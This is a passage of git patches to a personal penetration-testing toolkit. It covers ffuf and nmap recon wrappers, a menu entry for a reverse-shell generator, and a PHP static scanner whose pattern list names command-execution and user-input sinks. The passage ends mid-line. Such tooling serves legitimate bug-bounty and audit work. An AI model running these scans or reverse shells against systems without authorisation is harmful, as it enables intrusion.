dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 78066cdfbfc0dafc8f027f1a422270f7b06223d0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Aug 2022 09:37:11 +0100 Subject: [PATCH 173/289] [s0mbra] menu --- s0mbra.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/s0mbra.sh b/s0mbra.sh index 6e10e58..395bb89 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -859,6 +859,7 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$BLUE_BG\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CLR" ;; esac From e701ed0e74c217c81df2fea563ba708ef070855e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 15 Aug 2022 09:48:29 +0100 Subject: [PATCH 174/289] [s0mbra] menu --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 395bb89..6e10e58 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -859,7 +859,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" - echo -e "$BLUE_BG\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CLR" ;; esac From 9bf26813ca6e3549c11331060a743cbfb9ce5808 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 15 Aug 2022 11:01:46 +0100 Subject: [PATCH 175/289] [s0mbra] delete temp folders created in peek() --- s0mbra.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/s0mbra.sh b/s0mbra.sh index 6e10e58..36add6d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -260,6 +260,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log rm -f $TMPDIR/s0mbra_recon_subfinder.log + rm -f $TMPDIR/hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From a37eca2514176d44c7e624b7b73ed31418beeef5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 16 Aug 2022 09:35:55 +0100 Subject: [PATCH 176/289] [s0mbra] peek() update --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 36add6d..41e7b90 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -260,7 +260,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log rm -f $TMPDIR/s0mbra_recon_subfinder.log - rm -f $TMPDIR/hm* + cd $TMPDIR && rm -f hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From a2fffa844b4f2a86c6bd45964e2b8c260c6ceabe Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 20 Aug 2022 21:15:36 +0100 Subject: [PATCH 177/289] [s0mbra] menu update --- s0mbra.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 41e7b90..1bc18e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -830,8 +830,8 @@ case "$cmd" in echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" + echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" From c0313ac3e38101f2a488c56f52aed742c64d7694 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 17 Sep 2022 15:37:50 +0100 Subject: [PATCH 178/289] [s0mra] Use jadx for unjar command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1bc18e7..4dcd0e6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -563,7 +563,7 @@ dex_to_jar() { unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" - java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 + /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } # runs disassembly agains binary From 1c16c6a7210ad8540c66ddb8a24520f350300b25 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 29 Sep 2022 18:32:09 +0100 Subject: [PATCH 179/289] [s0mbra] cleanup after pysast --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 4dcd0e6..ac05896 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -438,6 +438,8 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" graudit $1 + # cleanup + rm -rf .mypy_cache echo -e "\n$BLUE[s0mbra] Done.$CLR" } From 937ebb5ca55d004a1c82bbad4d0d5314b4db6bb6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 1 Oct 2022 00:46:29 +0100 Subject: [PATCH 180/289] [hasher] refactoring --- hasher.py | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/hasher.py b/hasher.py index 2446a72..562bf93 100755 --- a/hasher.py +++ b/hasher.py @@ -10,6 +10,15 @@ usage: ./hasher.py [string_to_hash] """ +colors = { + "WHITE": '\33[37m', + "GREEN": '\33[32m', + "MAGENTA": '\33[35m', + "CYAN": '\33[36m', + "GREY": '\33[90m', + "LIGHTGREY": '\33[37m' +} + def usage(): ''' @@ -33,19 +42,22 @@ def main(s): ''' prints all hashes for provided string ''' - algorithms_available = ['blake2s', 'blake2b', 'sha224', - 'sha256', 'sha512', 'sha384', 'sha1', 'md5'] - print("\nHASH:\n") + algorithms_available = ['md5', 'sha1', 'sha224', 'sha256', 'sha384', + 'sha512', 'blake2s', 'blake2b'] + print(f"\n{colors['GREEN']}HASHES:{colors['WHITE']}\n") for h in algorithms_available: if hasattr(hashlib, h): try: h_method = getattr(hashlib, h) - print(f"{h}\t\t{h_method(s.encode('utf-8')).hexdigest()}") + print( + f"{colors['GREY']}{h}\t\t{colors['CYAN']}{h_method(s.encode('utf-8')).hexdigest()}") except TypeError as e: pass - print("\nENCODE:\n") - print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) - print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) + print(f"\n{colors['GREEN']}ENCODE:{colors['WHITE']}\n") + print( + f"{colors['GREY']}Base64 \t\t{colors['CYAN']}{base64.b64encode(s.encode('utf-8'))}") + print( + f"{colors['GREY']}HEX encoded \t{colors['CYAN']}{hex_encode(s.encode('utf-8'))}") if __name__ == "__main__": From 7f54acf9605536662f9e0936dac6cde66c0b157f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 7 Oct 2022 22:21:32 +0100 Subject: [PATCH 181/289] [s0mbra] Option to select HTTP server (python, php) --- s0mbra.sh | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index ac05896..483afd2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -51,7 +51,8 @@ quick_nmap_scan() { # runs Python 3 built-in HTTP server on [PORT] http() { - echo -e "$BLUE[s0mbra] Running Simple HTTP Server in current directory on port $1$CLR" + STACK=$2 + echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" @@ -62,7 +63,15 @@ http() { else PORT=$1 fi - python3 -m http.server $PORT + + case "$STACK" in + python) + python3 -m http.server $PORT + ;; + php) + php -S 127.0.0.1:$PORT + ;; + esac echo -e "\n$BLUE[s0mbra] Done." } @@ -726,7 +735,7 @@ case "$cmd" in quick_nmap_scan "$2" "$3" ;; http) - http "$2" + http "$2" "$3" ;; rockyou_john) rockyou_john "$2" "$3" @@ -834,7 +843,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" - echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" + echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t -> runs HTTP server on [PORT] TCP port; STACK: python,php" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" From 22d521dc808188afc3205bc3519fe68909b8eb7c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 12 Oct 2022 05:35:14 +0100 Subject: [PATCH 182/289] [s0mbra] fox for removing temporary dirs after peek --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 483afd2..7bfd7ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -267,9 +267,9 @@ peek() { # cleanup echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" - rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log - rm -f $TMPDIR/s0mbra_recon_subfinder.log - cd $TMPDIR && rm -f hm* + rm -rf $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -rf $TMPDIR/s0mbra_recon_subfinder.log + cd $TMPDIR && rm -rf hm* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From f7e2728a64768cc9a5a0dd73eb92882546c6a921 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 19 Oct 2022 21:54:21 +0100 Subject: [PATCH 183/289] [virustotal] Reomove ctfpwn dependency --- virustotal.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/virustotal.py b/virustotal.py index 9a6aa7a..a68fde2 100755 --- a/virustotal.py +++ b/virustotal.py @@ -1,7 +1,7 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 from netaddr import * -import ctfpwn +import requests import json import time import os @@ -20,10 +20,10 @@ def process(cidr, logfile): url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( virus_total_api_key, str(ip)) - resp = ctfpwn.http_get(url) + resp = requests.get(url) - if resp: - domains = json.loads(resp) + if resp.status_code == 200: + domains = json.loads(resp.text) if (domains['response_code'] == 0): print("[-] Empty response for {}".format(str(ip))) From 3071a4c933e7bec0f52275d52aa72f8cbd2095fb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 23 Nov 2022 08:50:32 +0000 Subject: [PATCH 184/289] [s0mbra] remove 403 HTTP response from fu --- s0mbra.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7bfd7ca..8a90bf1 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -340,15 +340,15 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_fullnames_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/s0mbra_recon_ffuf_vhosts_$HOSTNAME.log fi # ffuf if [[ $FFUF -eq "1" ]]; then - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi # x8 @@ -382,7 +382,7 @@ fu() { # set response status code(s) to match on: if [[ -z $4 ]]; then - HTTP_RESP_CODES=200,206,301,302,403,500 + HTTP_RESP_CODES=200,206,301,302,500 else HTTP_RESP_CODES=$4 fi From 930a63067b3aa0313483b491ccf1ca49e71083e8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 28 Nov 2022 16:46:13 +0000 Subject: [PATCH 185/289] [pef] Added POST, GET, REQUEST and COOKIES to detection as CRITICAL --- pef/imports/pefdocs.py | 24 ++++++++++++++++++++++++ pef/pef.py | 1 - 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index fb7a50f..3be2893 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -466,5 +466,29 @@ "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "critical" ] } diff --git a/pef/pef.py b/pef/pef.py index 070a7f0..d8ee034 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -117,7 +117,6 @@ def main(self, src): f = open(src, "r", encoding="ISO-8859-1") i = 0 all_lines = f.readlines() - for l in all_lines: i += 1 line = l.rstrip() From ad2341e9cbea4e4ef20668ee2cb9958f8c0d19ed Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 7 Dec 2022 21:41:03 +0000 Subject: [PATCH 186/289] [pef] 'TypeError: expected str, bytes or os.PathLike object, not NoneType' due to missing file [FIXED] --- pef/pef.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index d8ee034..db73419 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -149,7 +149,8 @@ def run(self): if __name__ == "__main__": parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__ + description=sys.modules[__name__].__doc__, + add_help=True ) filename = '.' # initial value for file/dir to scan is current directory @@ -158,7 +159,10 @@ def run(self): parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( - "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") + "-f", + "--file", + help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)", + required=True) args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' From 1cdde13c5f7957da8e05834d0947783264b40229 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Dec 2022 07:49:31 +0000 Subject: [PATCH 187/289] [pef] multiple options for --level --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index db73419..7d65120 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -96,7 +96,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] vuln_class = pefdocs.exploitableFunctionsDesc.get(fn.strip())[2] - if impact.upper() == level.upper() or level == 'ALL': + if (impact.upper() in level.upper()) or level == 'ALL': if len(_line) > 255: _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" From a68239d8b20b06dd2a82c7adda9c98486cf2a4f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 13 Dec 2022 07:55:13 +0000 Subject: [PATCH 188/289] [pef] multiple options for --level --- pef/pef.py | 117 ++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 115 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 7d65120..fc47e3d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -20,10 +20,123 @@ import re import argparse -from imports import pefdefs from imports import pefdocs from imports.beautyConsole import beautyConsole +# exploitable functions +exploitableFunctions = [ + "system(", + "exec(", + "popen(", + "pcntl_exec(", + "eval(", + "arse_str(", + "parse_url(", + "preg_replace(", + "create_function(", + "passthru(", + "shell_exec(", + "popen(", + "proc_open(", + "pcntl_exec(", + "extract(", + "putenv(", + "ini_set(", + "mail(", + "header(", + "unserialize(", + "assert(", + "call_user_func(", + "call_user_func_array(", + "ereg_replace(", + "eregi_replace(", + "mb_ereg_replace(", + "mb_eregi_replace(", + "virtual", + "readfile(", + "file_get_contents(", + "show_source(", + "highlight_file(", + "fopen(", + "file(", + "fpassthru(", + "fsockopen(", + "gzopen(", + "gzread(", + "gzfile(", + "gzpassthru(", + "readgzfile(", + "mssql_query(", + "odbc_exec(", + "sqlsrv_query(", + "PDO::query(", + "move_uploaded_file(", + "echo", + "print(", + "printf(", + "ldap_search(", + "header(", + "sqlite_", + "sqlite_query(", + "pg_", + "pg_query(", + "mysql_", + "mysql_query(", + "mysqli::query(", + "mysqli_", + "mysqli_query(", + "apache_setenv(", + "dl(", + "escapeshellarg(", + "escapeshellcmd(", + "extract(", + "get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "$_POST", + "$_GET", + "$_COOKIE", + "$_REQUEST", + "$_SERVER", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "$_SERVER[\"PHP_SELF\"]", + "$_SERVER[\"SERVER_ADDR\"]", + "$_SERVER[\"SERVER_NAME\"]", + "$_SERVER[\"REMOTE_ADDR\"]", + "$_SERVER[\"REMOTE_HOST\"]", + "$_SERVER[\"REQUEST_URI\"]", + "$_SERVER[\"HTTP_USER_AGENT\"]", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" +] + def banner(): """ @@ -121,7 +234,7 @@ def main(self, src): i += 1 line = l.rstrip() if self.level: - for fn in pefdefs.exploitableFunctions: + for fn in exploitableFunctions: self.analyse_line(l, i, fn, f, line) return # return how many findings in current file From 1e1a3737eacb48bdacb2560ee53db5f04dc90dc5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 27 Dec 2022 20:16:24 +0000 Subject: [PATCH 189/289] [pef] Refactoring; file separator in results --- pef/imports/pefdefs.py | 115 ----------------------------------------- pef/pef.py | 28 ++++++---- 2 files changed, 17 insertions(+), 126 deletions(-) delete mode 100755 pef/imports/pefdefs.py diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py deleted file mode 100755 index 7b5a6be..0000000 --- a/pef/imports/pefdefs.py +++ /dev/null @@ -1,115 +0,0 @@ -# Definitions for pef.py - -# exploitable functions -exploitableFunctions = [ - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "arse_str(", - "parse_url(", - "preg_replace(", - "create_function(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "putenv(", - "ini_set(", - "mail(", - "header(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "header(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(", - "$_POST", - "$_GET", - "$_COOKIE", - "$_REQUEST", - "$_SERVER", - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST", - "$_SERVER[\"PHP_SELF\"]", - "$_SERVER[\"SERVER_ADDR\"]", - "$_SERVER[\"SERVER_NAME\"]", - "$_SERVER[\"REMOTE_ADDR\"]", - "$_SERVER[\"REMOTE_HOST\"]", - "$_SERVER[\"REQUEST_URI\"]", - "$_SERVER[\"HTTP_USER_AGENT\"]", - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] diff --git a/pef/pef.py b/pef/pef.py index fc47e3d..2b9cdc5 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -181,7 +181,7 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ - + res = None # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = "@{}".format(fn) fn = "{}".format(fn) @@ -189,9 +189,9 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: - self.print_code_line(f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, - self.level) - return + res = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level) + return res def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): """ @@ -204,6 +204,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): "critical": "red" } + found = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): impact = pefdocs.exploitableFunctionsDesc.get(fn.strip())[3] @@ -216,12 +217,12 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): else: print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) - + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return + return found > 0 def main(self, src): """ @@ -229,32 +230,37 @@ def main(self, src): """ f = open(src, "r", encoding="ISO-8859-1") i = 0 + res = None all_lines = f.readlines() for l in all_lines: i += 1 line = l.rstrip() if self.level: for fn in exploitableFunctions: - self.analyse_line(l, i, fn, f, line) - - return # return how many findings in current file + if self.analyse_line(l, i, fn, f, line) == True: + res = True + return res # return how many findings in current file def run(self): """ runs scanning """ + print( + f"\n{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}") if self.recursive: for root, subdirs, files in os.walk(self.filename): + prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 res = self.main(os.path.join(root, f)) + if res is not None and f != prev_filename: + print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") + prev_filename = f else: self.scanned_files = self.scanned_files + 1 self.found_entries = self.main(self.filename) - - print(beautyConsole.getColor("white") + "-" * 100) print("\n") From 2b00f42154a080fb9cac9ce418fd07db93c98199 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 18 Jan 2023 08:47:36 +0000 Subject: [PATCH 190/289] [pef] exclude comments from scan results --- pef/pef.py | 17 +++-- s0mbra.sh | 10 +-- xmlrpc_amplif_bruteforce.py | 127 ++++++++++++++++++++++++++++++++++++ 3 files changed, 145 insertions(+), 9 deletions(-) create mode 100644 xmlrpc_amplif_bruteforce.py diff --git a/pef/pef.py b/pef/pef.py index 2b9cdc5..14fc868 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -200,7 +200,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): impact_color = { "low": "green", "medium": "yellow", - "high": "red", + "high": "yellow", "critical": "red" } @@ -215,7 +215,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL'): _line = _line[:120] + \ f" (...truncated -> line is {len(_line)} characters long)" else: - print("{}{}:{}{} -> {}{}".format(beautyConsole.getColor( + print("{}{}:{}{}\t{}{}".format(beautyConsole.getColor( "white"), file_name, i, beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"), vuln_class)) found += 1 if impact not in severity.keys(): @@ -236,9 +236,10 @@ def main(self, src): i += 1 line = l.rstrip() if self.level: - for fn in exploitableFunctions: - if self.analyse_line(l, i, fn, f, line) == True: - res = True + if not self.is_comment(line): + for fn in exploitableFunctions: + if self.analyse_line(l, i, fn, f, line) == True: + res = True return res # return how many findings in current file def run(self): @@ -263,6 +264,12 @@ def run(self): self.found_entries = self.main(self.filename) print("\n") + def is_comment(self, line: str) -> bool: + """ + If line is a comment, we should ignore it + """ + line = 